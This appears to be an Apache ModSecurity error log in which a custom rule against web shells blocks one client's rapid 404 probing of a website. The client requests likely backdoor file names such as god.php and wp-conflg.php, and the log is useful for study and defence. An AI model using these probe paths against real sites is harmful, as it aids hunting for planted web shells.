[Sun Mar 01 13:29:12.118316 2026] [:error] [pid 41342:tid 41365] [client 158.158.52.178:21417] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0.php"] [unique_id "aaPOqI4iJ6RAS5CatDk6UwAAAhQ"]
[Sun Mar 01 13:29:12.604859 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:38945] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0.php"] [unique_id "aaPOqPKRPk6YnJBxw_zvKwAAAMk"]
[Sun Mar 01 13:29:13.122295 2026] [:error] [pid 41780:tid 41801] [client 158.158.52.178:25058] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0.php"] [unique_id "aaPOqcONkVoocLIqzy3-JQAAA9I"]
[Sun Mar 01 13:29:13.612433 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:38942] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moon.php"] [unique_id "aaPOqfKRPk6YnJBxw_zvLgAAAMk"]
[Sun Mar 01 13:29:14.105302 2026] [:error] [pid 42619:tid 42642] [client 158.158.52.178:32055] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moon.php"] [unique_id "aaPOqh_zUXcYaZE4AOdcOQAAAVU"]
[Sun Mar 01 13:29:14.636594 2026] [:error] [pid 41967:tid 41991] [client 158.158.52.178:19779] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moon.php"] [unique_id "aaPOqoO1bqY181I02eFsowAAAJY"]
[Sun Mar 01 13:29:15.115598 2026] [:error] [pid 41967:tid 41971] [client 158.158.52.178:28928] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moon.php"] [unique_id "aaPOq4O1bqY181I02eFsqAAAAII"]
[Sun Mar 01 13:29:15.602254 2026] [:error] [pid 41780:tid 41797] [client 158.158.52.178:28940] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aaPOq8ONkVoocLIqzy3-MAAAA84"]
[Sun Mar 01 13:29:16.086913 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:43471] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aaPOrPKRPk6YnJBxw_zvNQAAAM4"]
[Sun Mar 01 13:29:16.569598 2026] [:error] [pid 41780:tid 41790] [client 158.158.52.178:32860] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aaPOrMONkVoocLIqzy3-OwAAA8c"]
[Sun Mar 01 13:29:17.059580 2026] [:error] [pid 41780:tid 41796] [client 158.158.52.178:39120] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "aaPOrcONkVoocLIqzy3-PgAAA80"]
[Sun Mar 01 13:29:17.546630 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:38912] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gec.php"] [unique_id "aaPOrfKRPk6YnJBxw_zvPwAAAMk"]
[Sun Mar 01 13:29:18.036550 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:38858] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gec.php"] [unique_id "aaPOrvKRPk6YnJBxw_zvQgAAAM4"]
[Sun Mar 01 13:29:18.524467 2026] [:error] [pid 42619:tid 42643] [client 158.158.52.178:38862] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gec.php"] [unique_id "aaPOrh_zUXcYaZE4AOdcRgAAAVY"]
[Sun Mar 01 13:29:19.003948 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:35332] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gec.php"] [unique_id "aaPOr_KRPk6YnJBxw_zvRgAAAM4"]
[Sun Mar 01 13:29:19.482227 2026] [:error] [pid 41342:tid 41362] [client 158.158.52.178:38915] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPOr44iJ6RAS5CatDk6YgAAAhE"]
[Sun Mar 01 13:29:19.970358 2026] [:error] [pid 41780:tid 41791] [client 158.158.52.178:17997] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPOr8ONkVoocLIqzy3-UQAAA8g"]
[Sun Mar 01 13:29:20.458962 2026] [:error] [pid 42619:tid 42622] [client 158.158.52.178:35391] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPOsB_zUXcYaZE4AOdcUgAAAUE"]
[Sun Mar 01 13:29:20.952164 2026] [:error] [pid 41780:tid 41799] [client 158.158.52.178:24428] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aaPOsMONkVoocLIqzy3-WQAAA9A"]
[Sun Mar 01 13:29:21.433401 2026] [:error] [pid 41967:tid 41986] [client 158.158.52.178:38905] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaPOsYO1bqY181I02eFsxwAAAJE"]
[Sun Mar 01 13:29:21.908807 2026] [:error] [pid 42619:tid 42635] [client 158.158.52.178:39108] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaPOsR_zUXcYaZE4AOdcWgAAAU4"]
[Sun Mar 01 13:29:22.386920 2026] [:error] [pid 42619:tid 42631] [client 158.158.52.178:19791] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaPOsh_zUXcYaZE4AOdcXgAAAUo"]
[Sun Mar 01 13:29:22.865436 2026] [:error] [pid 42619:tid 42622] [client 158.158.52.178:36953] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaPOsh_zUXcYaZE4AOdcZAAAAUE"]
[Sun Mar 01 13:29:23.348061 2026] [:error] [pid 41780:tid 41792] [client 158.158.52.178:36643] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "aaPOs8ONkVoocLIqzy3-ZwAAA8k"]
[Sun Mar 01 13:29:23.829287 2026] [:error] [pid 42619:tid 42631] [client 158.158.52.178:25963] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "aaPOsx_zUXcYaZE4AOdccQAAAUo"]
[Sun Mar 01 13:29:24.320442 2026] [:error] [pid 42619:tid 42642] [client 158.158.52.178:24393] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "aaPOtB_zUXcYaZE4AOdccwAAAVU"]
[Sun Mar 01 13:29:24.818295 2026] [:error] [pid 41342:tid 41353] [client 158.158.52.178:25967] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f6.php"] [unique_id "aaPOtI4iJ6RAS5CatDk6cQAAAgg"]
[Sun Mar 01 13:29:25.295239 2026] [:error] [pid 41967:tid 41993] [client 158.158.52.178:28418] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ocxla.php"] [unique_id "aaPOtYO1bqY181I02eFs1gAAAJg"]
[Sun Mar 01 13:29:25.779069 2026] [:error] [pid 42619:tid 42624] [client 158.158.52.178:36663] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ocxla.php"] [unique_id "aaPOtR_zUXcYaZE4AOdcewAAAUM"]
[Sun Mar 01 13:29:26.263231 2026] [:error] [pid 42619:tid 42633] [client 158.158.52.178:38901] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ocxla.php"] [unique_id "aaPOth_zUXcYaZE4AOdcfwAAAUw"]
[Sun Mar 01 13:29:26.739758 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:36959] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ocxla.php"] [unique_id "aaPOtoO1bqY181I02eFs5gAAAIk"]
[Sun Mar 01 13:29:27.218501 2026] [:error] [pid 42619:tid 42627] [client 158.158.52.178:16610] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaPOtx_zUXcYaZE4AOdchwAAAUY"]
[Sun Mar 01 13:29:27.696562 2026] [:error] [pid 42619:tid 42633] [client 158.158.52.178:17580] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaPOtx_zUXcYaZE4AOdcjgAAAUw"]
[Sun Mar 01 13:29:28.178089 2026] [:error] [pid 40750:tid 40769] [client 158.158.52.178:39207] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaPOuAfBuk03yQKDyqvAZgAAAdA"]
[Sun Mar 01 13:29:28.656810 2026] [:error] [pid 41967:tid 41986] [client 158.158.52.178:38687] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaPOuIO1bqY181I02eFs7AAAAJE"]
[Sun Mar 01 13:29:29.136048 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:25943] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "aaPOuYO1bqY181I02eFs7gAAAIk"]
[Sun Mar 01 13:29:29.614087 2026] [:error] [pid 41342:tid 41355] [client 158.158.52.178:15039] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "aaPOuY4iJ6RAS5CatDk6fQAAAgo"]
[Sun Mar 01 13:29:30.092200 2026] [:error] [pid 41967:tid 41971] [client 158.158.52.178:4834] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "aaPOuoO1bqY181I02eFs8gAAAII"]
[Sun Mar 01 13:29:30.569863 2026] [:error] [pid 41780:tid 41796] [client 158.158.52.178:22161] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "aaPOusONkVoocLIqzy3-hgAAA80"]
[Sun Mar 01 13:29:31.052467 2026] [:error] [pid 41780:tid 41787] [client 158.158.52.178:33986] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zz.php"] [unique_id "aaPOu8ONkVoocLIqzy3-jAAAA8Q"]
[Sun Mar 01 13:29:31.531353 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:25365] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zz.php"] [unique_id "aaPOu4O1bqY181I02eFs9QAAAIU"]
[Sun Mar 01 13:29:32.012636 2026] [:error] [pid 41780:tid 41797] [client 158.158.52.178:25370] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zz.php"] [unique_id "aaPOvMONkVoocLIqzy3-jwAAA84"]
[Sun Mar 01 13:29:32.490438 2026] [:error] [pid 41967:tid 41976] [client 158.158.52.178:34028] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zz.php"] [unique_id "aaPOvIO1bqY181I02eFs-AAAAIc"]
[Sun Mar 01 13:29:32.968192 2026] [:error] [pid 40750:tid 40763] [client 158.158.52.178:20669] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaPOvAfBuk03yQKDyqvAcwAAAco"]
[Sun Mar 01 13:29:33.465108 2026] [:error] [pid 42619:tid 42641] [client 158.158.52.178:15387] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaPOvR_zUXcYaZE4AOdcsAAAAVQ"]
[Sun Mar 01 13:29:33.949826 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:20620] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaPOvYO1bqY181I02eFtAwAAAIU"]
[Sun Mar 01 13:29:34.430589 2026] [:error] [pid 41967:tid 41980] [client 158.158.52.178:23222] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaPOvoO1bqY181I02eFtCQAAAIs"]
[Sun Mar 01 13:29:34.915036 2026] [:error] [pid 41967:tid 41992] [client 158.158.52.178:26027] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaPOvoO1bqY181I02eFtDQAAAJc"]
[Sun Mar 01 13:29:35.400503 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:4723] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaPOv4O1bqY181I02eFtEwAAAIk"]
[Sun Mar 01 13:29:35.880726 2026] [:error] [pid 41967:tid 41970] [client 158.158.52.178:4615] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaPOv4O1bqY181I02eFtGwAAAIE"]
[Sun Mar 01 13:29:36.373136 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:4663] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaPOwAfBuk03yQKDyqvAfwAAAcw"]
[Sun Mar 01 13:29:36.856273 2026] [:error] [pid 41780:tid 41797] [client 158.158.52.178:23698] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaPOwMONkVoocLIqzy3-ogAAA84"]
[Sun Mar 01 13:29:37.333209 2026] [:error] [pid 42619:tid 42636] [client 158.158.52.178:4647] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaPOwR_zUXcYaZE4AOdcygAAAU8"]
[Sun Mar 01 13:29:37.818575 2026] [:error] [pid 42619:tid 42627] [client 158.158.52.178:35095] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaPOwR_zUXcYaZE4AOdc0QAAAUY"]
[Sun Mar 01 13:29:38.299242 2026] [:error] [pid 42619:tid 42637] [client 158.158.52.178:35089] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaPOwh_zUXcYaZE4AOdc2QAAAVA"]
[Sun Mar 01 13:29:38.785096 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:43727] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPOwgfBuk03yQKDyqvAiQAAAdQ"]
